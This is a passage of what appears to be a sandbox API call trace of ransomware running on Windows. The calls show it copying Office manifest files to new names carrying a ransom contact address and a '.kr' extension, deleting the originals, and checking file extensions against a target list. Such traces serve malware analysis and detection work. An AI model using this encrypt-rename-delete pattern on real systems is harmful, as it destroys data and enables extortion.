hTemplateFile=0x0) returned 0x338 [0101.702] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=1261) returned 1 [0101.702] CloseHandle (hObject=0x338) returned 1 [0101.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220 [0101.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0101.721] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.721] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0101.721] GetLastError () returned 0x0 [0101.721] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0101.723] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0101.724] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.724] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x13e, lpOverlapped=0x0) returned 1 [0101.725] SetEndOfFile (hFile=0x358) returned 1 [0101.725] CloseHandle (hObject=0x358) returned 1 [0101.726] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.726] SetEndOfFile (hFile=0x338) returned 1 [0101.727] CloseHandle (hObject=0x338) returned 1 [0101.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0101.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1 [0101.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0101.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0101.728] lstrlenW (lpString=".doc") returned 4 [0101.728] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.728] lstrlenW (lpString=".docx") returned 5 [0101.728] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.728] lstrlenW (lpString=".pdf") returned 4 [0101.728] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.728] lstrlenW (lpString=".xls") returned 4 [0101.728] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.728] lstrlenW (lpString=".xlsx") returned 5 [0101.728] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.728] lstrlenW (lpString=".ppt") returned 4 [0101.728] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0101.728] lstrlenW (lpString=".zip") returned 4 [0101.728] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.728] lstrlenW (lpString=".rar") returned 4 [0101.728] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.728] lstrlenW (lpString=".bz2") returned 4 [0101.728] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.728] lstrlenW (lpString=".7z") returned 3 [0101.728] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0101.728] lstrlenW (lpString=".dbf") returned 4 [0101.728] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0101.728] lstrlenW (lpString=".1cd") returned 4 [0101.728] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0101.729] lstrlenW (lpString=".jpg") returned 4 [0101.729] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0101.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0101.729] lstrlenW (lpString=".doc") returned 4 [0101.729] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.729] lstrlenW (lpString=".docx") returned 5 [0101.729] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.729] lstrlenW (lpString=".pdf") returned 4 [0101.729] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.729] lstrlenW (lpString=".xls") returned 4 [0101.729] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.729] lstrlenW (lpString=".xlsx") returned 5 [0101.729] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.729] lstrlenW (lpString=".ppt") returned 4 [0101.729] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0101.729] lstrlenW (lpString=".zip") returned 4 [0101.729] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.729] lstrlenW (lpString=".rar") returned 4 [0101.729] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.729] lstrlenW (lpString=".bz2") returned 4 [0101.729] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.729] lstrlenW (lpString=".7z") returned 3 [0101.730] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0101.730] lstrlenW (lpString=".dbf") returned 4 [0101.730] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0101.730] lstrlenW (lpString=".1cd") returned 4 [0101.730] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0101.730] lstrlenW (lpString=".jpg") returned 4 [0101.730] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.730] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0101.730] lstrlenW (lpString="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 53 [0101.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0101.731] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=1261) returned 1 [0101.731] CloseHandle (hObject=0x338) returned 1 [0101.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220 [0101.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0101.731] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.731] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0101.732] GetLastError () returned 0x0 [0101.732] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0101.733] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0101.735] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.735] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x13e, lpOverlapped=0x0) returned 1 [0101.735] SetEndOfFile (hFile=0x358) returned 1 [0101.735] CloseHandle (hObject=0x358) returned 1 [0101.736] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.736] SetEndOfFile (hFile=0x338) returned 1 [0101.737] CloseHandle (hObject=0x338) returned 1 [0101.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0101.738] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1 [0101.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0101.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0101.739] lstrlenW (lpString=".doc") returned 4 [0101.739] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.739] lstrlenW (lpString=".docx") returned 5 [0101.739] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.739] lstrlenW (lpString=".pdf") returned 4 [0101.739] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.739] lstrlenW (lpString=".xls") returned 4 [0101.739] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.739] lstrlenW (lpString=".xlsx") returned 5 [0101.739] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.739] lstrlenW (lpString=".ppt") returned 4 [0101.739] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0101.739] lstrlenW (lpString=".zip") returned 4 [0101.739] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.739] lstrlenW (lpString=".rar") returned 4 [0101.739] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.739] lstrlenW (lpString=".bz2") returned 4 [0101.739] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.739] lstrlenW (lpString=".7z") returned 3 [0101.740] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0101.740] lstrlenW (lpString=".dbf") returned 4 [0101.740] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0101.740] lstrlenW (lpString=".1cd") returned 4 [0101.740] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0101.740] lstrlenW (lpString=".jpg") returned 4 [0101.740] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0101.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0101.740] lstrlenW (lpString=".doc") returned 4 [0101.740] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.740] lstrlenW (lpString=".docx") returned 5 [0101.740] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0101.740] lstrlenW (lpString=".pdf") returned 4 [0101.740] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.740] lstrlenW (lpString=".xls") returned 4 [0101.740] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.741] lstrlenW (lpString=".xlsx") returned 5 [0101.741] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0101.741] lstrlenW (lpString=".ppt") returned 4 [0101.741] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0101.741] lstrlenW (lpString=".zip") returned 4 [0101.741] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.741] lstrlenW (lpString=".rar") returned 4 [0101.741] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.741] lstrlenW (lpString=".bz2") returned 4 [0101.741] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.741] lstrlenW (lpString=".7z") returned 3 [0101.741] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0101.741] lstrlenW (lpString=".dbf") returned 4 [0101.741] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0101.741] lstrlenW (lpString=".1cd") returned 4 [0101.741] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104 [0101.741] lstrlenW (lpString=".jpg") returned 4 [0101.741] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.742] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0101.742] lstrlenW (lpString="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 53 [0101.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0101.744] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=399528) returned 1 [0101.744] CloseHandle (hObject=0x338) returned 1 [0101.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0101.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0101.745] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.745] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0101.745] GetLastError () returned 0x0 [0101.745] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x618a8, lpOverlapped=0x0) returned 1 [0102.805] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x618b0, lpOverlapped=0x0) returned 1 [0102.813] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.813] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x13e, lpOverlapped=0x0) returned 1 [0102.813] SetEndOfFile (hFile=0x358) returned 1 [0102.813] CloseHandle (hObject=0x358) returned 1 [0102.826] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.826] SetEndOfFile (hFile=0x338) returned 1 [0102.829] CloseHandle (hObject=0x338) returned 1 [0102.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0102.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1 [0102.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0102.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0102.830] lstrlenW (lpString=".doc") returned 4 [0102.830] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.830] lstrlenW (lpString=".docx") returned 5 [0102.830] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.830] lstrlenW (lpString=".pdf") returned 4 [0102.830] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.830] lstrlenW (lpString=".xls") returned 4 [0102.830] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.830] lstrlenW (lpString=".xlsx") returned 5 [0102.830] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.831] lstrlenW (lpString=".ppt") returned 4 [0102.831] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0102.831] lstrlenW (lpString=".zip") returned 4 [0102.831] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.831] lstrlenW (lpString=".rar") returned 4 [0102.831] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.831] lstrlenW (lpString=".bz2") returned 4 [0102.831] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.831] lstrlenW (lpString=".7z") returned 3 [0102.831] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0102.831] lstrlenW (lpString=".dbf") returned 4 [0102.831] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0102.831] lstrlenW (lpString=".1cd") returned 4 [0102.831] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0102.831] lstrlenW (lpString=".jpg") returned 4 [0102.831] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0102.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0102.831] lstrlenW (lpString=".doc") returned 4 [0102.831] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.831] lstrlenW (lpString=".docx") returned 5 [0102.831] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.831] lstrlenW (lpString=".pdf") returned 4 [0102.831] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.831] lstrlenW (lpString=".xls") returned 4 [0102.832] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.832] lstrlenW (lpString=".xlsx") returned 5 [0102.832] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.832] lstrlenW (lpString=".ppt") returned 4 [0102.832] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0102.832] lstrlenW (lpString=".zip") returned 4 [0102.832] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.832] lstrlenW (lpString=".rar") returned 4 [0102.832] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.832] lstrlenW (lpString=".bz2") returned 4 [0102.832] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.832] lstrlenW (lpString=".7z") returned 3 [0102.832] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 